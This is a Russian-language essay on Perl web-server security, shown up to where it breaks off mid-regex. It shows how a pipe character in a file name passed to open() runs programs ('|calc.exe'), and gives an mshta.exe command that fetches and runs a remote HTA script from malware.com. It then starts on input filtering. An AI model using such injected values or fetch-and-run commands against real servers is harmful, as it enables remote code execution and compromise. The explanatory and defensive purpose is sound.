Реферат: Защищаем Perl шунт в мозг или зверская нейрохирургия
Язык программирования Perl, будучи установленным на Web-сервере, отличается высокими требованиями к внимательности разработчика и квалификации системного администратора, при малейшей ошибке человека оставляя систему «открытой и доступной» для взломщиков всего мира. В статье рассмотрена возможность снизить угрозу, устанавливая свои собственные защитные механизмы (на примере «хирургического отрезания» и перехвата функций чтения, записи и выполнения файлов в системе Windows).
Если вы программируете (или собираетесь программировать) Internet-приложения на языке Perl, то наверняка сталкивались с информацией, описывающей уязвимости этого языка для хакерских атак. Простейший скрипт, приведенный в любом учебнике по языку Perl, на поверку оказывается «широко открытыми воротами» для хакеров, как многоопытных, так и начинающих. Например, фрагмент кода, который просто выводит содержимое указанного файла
open(f,$filename);
while()
{
print;
}
на самом деле может выполнять и другие действия. Подайте на его вход строку "|calc.exe", и вы запустите на выполнение стандартный калькулятор. В запуске на удаленном сервере стандартных программ (таких как calc.exe или notepad.exe) мало смысла, если не знать про идеальную отмычку хакера — утилиту mshta.exe. Она входит в стандартную поставку Windows и позволяет легко и непринужденно закачивать в атакуемую систему и выполнять в ней произвольный код.
Например, выполнение в системе команды:
mshta.exe www.malware.com/foobar.hta
приведет к скачиванию на компьютер файла foobar.hta и исполнению его как скрипта VBS. Этот пример создает и запускает безвредное (по заверениям устроителей сайта malware.com) приложение для MS-DOS, показывающее стандартный алгоритм генерации пламени. Естественно, таким же способом можно закачать и выполнить в системе произвольный исполняемый файл, даже если его там еще нет.
Кому это нужно?Мне хотелось бы развеять предубеждение некоторых системных администраторов, что взлом именно их сервера никому не нужен. Железный аргумент — ссылка на Неуловимого Джо («не такая уж мы важная птица, чтобы нас ломать»). В действительности, взлом любого (произвольного) сервера может принести хакеру пользу, поскольку открывает ему новые замечательные возможности:
Разослать с уязвимого сервера пару-тройку гигабайт почтового спама.
Устроить на уязвимом сервере «варезятник» для нелицензионного софта, музыки и видео.
Выполнить сложный и интересный математический расчет (обычно просчитывают криптографию, чтобы подобрать чей-то ключ, вовлекая в этот процесс — чтобы дело шло быстрее — множество взломанных машин).
Взломать или «заглушить» мусорными запросами (атака «отказ в обслуживании») более важный сервер (например, сервер какого-нибудь банка или государственного учреждения).
Таким образом, уязвимые серверы, независимо от их важности, представляют опасность не меньшую, чем те люди, которые умеют использовать эти серверы по их прямому назначению. :-)
Почему Perl уязвим?Рациональное объяснение, зачем функция open в Perl отрабатывает символ конвейера | как команду запустить программу на выполнение, дать сложно: Perl вообще довольно иррациональный (зато гибкий и компактный) язык. :-) Автор языка Perl Ларри Уолл в шутку расшифровывает его название как Patalogically Eclectic Rubbish Lister (Паталогически Эклектичный Мусорный Листер) — мы можем лишь пожелать, чтобы следующие его версии развивались в направлении большей безопасности, однозначности и безошибочности кода — столь необходимых качеств для общедоступных Internet-приложений. Безусловно, «патологичность», «эклектичность» и «мусорность» — это отрицательные черты, с которыми Ларри Уолл должен бороться. :-)
Фильтрация пользовательского вводаВ статьях о безопасном программировании на языке Perl можно встретить рекомендации фильтровать пользовательский ввод: в частности, удалять из полученных извне строк символы | и другие знаки, имеющие в Perl специальное значение. Например, следующая фильтрация ввода «обеззаразит» полученное извне имя файла от специальных и опасных символов.
if ($filename =~/[|-&./